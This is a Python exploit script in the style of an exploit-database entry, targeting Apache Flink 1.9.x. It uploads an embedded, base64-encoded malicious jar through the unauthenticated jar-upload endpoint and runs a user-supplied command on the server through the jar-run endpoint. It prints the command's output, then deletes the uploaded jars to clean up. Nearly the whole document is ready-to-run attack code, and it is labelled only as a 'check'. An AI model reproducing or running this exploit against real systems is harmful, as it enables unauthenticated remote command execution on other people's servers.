Apache Flink 1.9.x – File Upload RCE (Unauthenticated)

#!/usr/bin/env python3

# _*_ coding: utf-8 _*_

# Exploit Title: Apache Flink 1.9.x - File Upload RCE (Unauthenticated)

# Google Dork: None

# Date: 2020.11.01

# Exploit Author: bigger.wing

# Vendor Homepage: https://flink.apache.org/

# Software Link: https://flink.apache.org/downloads.html

# Version: 1.9.x

# Tested on: Centos7.x, 1.9.1

# CVE: None

import io

import re

import sys

import base64

import requests

class FlinkRCECheck:

def __init__(self, url):

self.url = url

self.timeout = 10

self.upload_file = 'rce_check_from_sec.jar'

self.headers = {

'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) '

'Chrome/61.0 Safari/537.36'

}

@property

def get_version(self):

url = '%s/%s' % (self.url, 'config')

try:

res = requests.get(url, headers=self.headers, timeout=self.timeout, verify=False)

version = res.json().get('flink-version')

except:

version = 'unknown'

return version

@property

def jar_check(self):

url = '%s/%s' % (self.url, 'jars')

jar_list = []

try:

res = requests.get(url, headers=self.headers, verify=False, timeout=self.timeout)

if res.status_code == 200 and 'application/json' in res.headers.get('Content-Type', ''):

res = res.json()

for file in res['files']:

if file['id'].endswith(self.upload_file):

jar_list.append(file['id'])

except Exception as e:

pass

return jar_list

@property

def jar_upload(self):

url = '%s/%s' % (self.url, 'jars/upload')

jar_content = base64.b64decode('UEsDBBQACAgIACJ1bU8AAAAAAAAAAAAAAAAUAAQATUVUQS1JTkYvTUFOSUZFU1QuTUb+ygAA803My'

'0xLLS7RDUstKs7Mz7NSMNQz4OXyTczM03XOSSwutlJwrUhNLi1J5eXi5QIAUEsHCIiKCL8wAAAALg'

'AAAFBLAwQKAAAIAAAidW1PAAAAAAAAAAAAAAAACQAAAE1FVEEtSU5GL1BLAwQUAAgICAAidW1PAAA'

'AAAAAAAAAAAAADQAAAEV4ZWN1dGUuY2xhc3ONVet2E1UU/k4yyUwmQy+TQlsQBdSStqSxiIotIlAK'

'VkJbSa0G8DKZHpPTJjNhLjTVCvoQ/ugT8MsfqCtx0aUPwEOx3Gdo09KGtUzW7H3O3vvbt7PPzPMXz'

'/4FMIlfdbyDyxo+1XBFx1Vc05HCjIbrks+quKHipobPNMzp0PC5hlsqChpu6+jBvCQLGhal6gsVd3'

'QUsaRjAF9qWJb8K0m+lqQkyd0URbin4r6OkzLoN5J/K8l3Or6HpaKswmZIXhKOCC4zxLOjywzKjLv'

'CGXoLwuHzYb3MvSWrXCOJWXBtq7ZseULud4RKUBU+Q6ow2+R2GPBpEtUt4TAcy94rrFoPrXzNcir5'

'YuAJpzItA7AGw/F9qkXPtbnvXwtFbYV75CDeCDZkuENo8m15FQqX6eKaHLuEtesrtJI2h0NIG7ujC'

'QNRyxdty3GiqPps0+aNQLiOr4J86EU39Gx+Q8gyjZ3yJiTSwLsYYQCD6voTjlXnKriBH1AxUIWgJN'

'aFY2AVawxDr6uToe9gCeSPsp/gTQoYy9syTI5k+bJw8n6VkogAws2/zCkVKcqWX5WWNQN1UNtjOQK'

'6oB73H6pSxQMDHnxpH5Dp/asGQjw0sA7KtwlhYAMjBn7ETwyDB9PrJB7fvLJpYBM/G3gEoeKxgV9Q'

'o0x3mvRKaQvlVW5TsMyeqNPoV3uw4Qe8zpCu8IBa1eCenIKRbJch6nb46cAtuOvcm7F8SmAg29VIs'

'10noOmk8Tix3/FM1fKK/EHIHZtPj95lONotLM1ukjeFH/jRXSGzhB9YXiDNR7tOW/8hIUMP1TfnNM'

'KA3HKLCh7cBdPJ7lMQfCjbVSETMUKfX+c1UReBPJKzr2/TgTFXq5Y/z5uUtOJELGHXXNmyuBvKSjo'

'RF8nJXipJq9HgDl2L3P86kL3LrAXu7nRnurim+A25w2m8Te9G+YvRxaILRvQs7fLE6a4hMdYGexqp'

's0STkZBhlKjx0gBjGCeewjnkyIrAbInskiT7y4wVxuLnb5vxv6G0kDCTLahbOLUNrZT8B6lS3NSLJ'

'cVMF0uJc8U2jPknuGAemVK20VMye9voa6F/C6rZK0W7mGFFYswOJtdCRuoHSsMU5Ggbx8zBFoamEs'

'OJFoa3kJb8+BMo4wW5OvEH3tjGyVIbb5pvtXBqnJ5o0cLpFs7s1fohjhCN01+BSvUMEr1AdV6Ejpt'

'I4xbpOXqxhj66kP34DSb+RCbqzR36WEwScoIaGSdEDu/RXpE9wXm8H/l9St4m5dsMv+MDWsXI28IO'

'Yg1zFP8jQjwifhEfU5+nCKWQ/TQ9l6IsP/kPUEsHCEEOnKXWAwAA4gYAAFBLAQIUABQACAgIACJ1b'

'U+Iigi/MAAAAC4AAAAUAAQAAAAAAAAAAAAAAAAAAABNRVRBLUlORi9NQU5JRkVTVC5NRv7KAABQSw'

'ECCgAKAAAIAAAidW1PAAAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAB2AAAATUVUQS1JTkYvUEsBAhQ'

'AFAAICAgAInVtT0EOnKXWAwAA4gYAAA0AAAAAAAAAAAAAAAAAnQAAAEV4ZWN1dGUuY2xhc3NQSwUG'

'AAAAAAMAAwC4AAAArgQAAAAA')

files = {'jarfile': (self.upload_file, io.BytesIO(jar_content), 'application/octet-stream')}

try:

res = requests.post(url, headers=self.headers, files=files, timeout=self.timeout, verify=False)

file_id = res.json()['filename'].split('/')[-1]

return file_id

except Exception as e:

res = False

return res

@property

# delete history jar packages

def jar_delete(self):

for jar_name in self.jar_check:

url = '%s//jars/%s' % (self.url, jar_name)

try:

requests.delete(url=url, headers=self.headers, timeout=self.timeout, verify=False)

except:

pass

return

def rce(self, command):

jar_file = self.jar_upload

try:

execute_cmd_url = '%s/jars/%s/run?entry-class=Execute&program-args="%s"' % (self.url, jar_file, command)

res = requests.post(url=execute_cmd_url, headers=self.headers, timeout=self.timeout, verify=False)

res = re.findall('\|@\|(.*?)\|@\|', res.text)[0][0:-2]

if res:

print('rce command "%s" exec result: %s' % (command, res))

state = 1

msg = '%s rce success' % self.url

else:

state = 0

msg = '%s rce failed' % self.url

except:

state = 0

msg = '%s rce failed' % self.url

delete = self.jar_delete

return {'state': state, 'version': self.get_version, 'msg': msg}

if __name__ == '__main__':

usage = 'python3 script.py ip port command'

if len(sys.argv) != 4:

print('simple usage: %s' % usage)

else:

ip = sys.argv[1]

port = sys.argv[2]

command = sys.argv[3]

url = 'http://%s:%s' % (ip, port)

res = FlinkRCECheck(url=url).rce(command=command)

print(res)

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